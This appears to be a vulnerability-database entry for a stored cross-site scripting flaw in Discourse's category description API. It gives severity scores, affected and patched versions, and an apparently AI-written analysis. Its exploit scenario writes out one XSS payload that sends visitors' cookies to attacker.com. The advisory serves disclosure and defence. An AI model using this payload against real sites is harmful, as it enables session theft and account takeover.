EUVD-2026-17550Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, updating a category description via API is not sanitizing the description string, which can lead to XSS attacks. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0.
AnalysisAI
Stored cross-site scripting (XSS) in Discourse category description API endpoints allows authenticated users with category management privileges to inject malicious scripts that execute in the browsers of other users viewing the category. The vulnerability affects Discourse versions 2026.1.0 through 2026.1.2, 2026.2.0 through 2026.2.1, and 2026.3.0-pre-release due to missing input sanitization on category description updates. …
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Vulnerability AssessmentAI
| Risk Assessment | The CVSS v3.1 score of 5.4 with vector AV:N/AC:L/PR:L/UI:R/S:C reflects a network-accessible vulnerability requiring low attack complexity and user interaction on a browser. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A malicious user with category moderator or administrator privileges submits a category description update via the Discourse API containing an injected JavaScript payload such as `<img src=x onerror="fetch('http://attacker.com/steal?cookies='+document.cookie)">`. The unsanitized payload is stored in the database and rendered when other users visit the category page, causing their browsers to execute the injected script and exfiltrate session cookies or perform actions on their behalf. … |
| Remediation | Upgrade to patched versions immediately: Discourse 2026.1.3 or later for the 2026.1 branch, 2026.2.2 or later for the 2026.2 branch, or 2026.3.0 or later for the 2026.3 branch. … Detailed patch versions, workarounds, and compensating controls in full report. |
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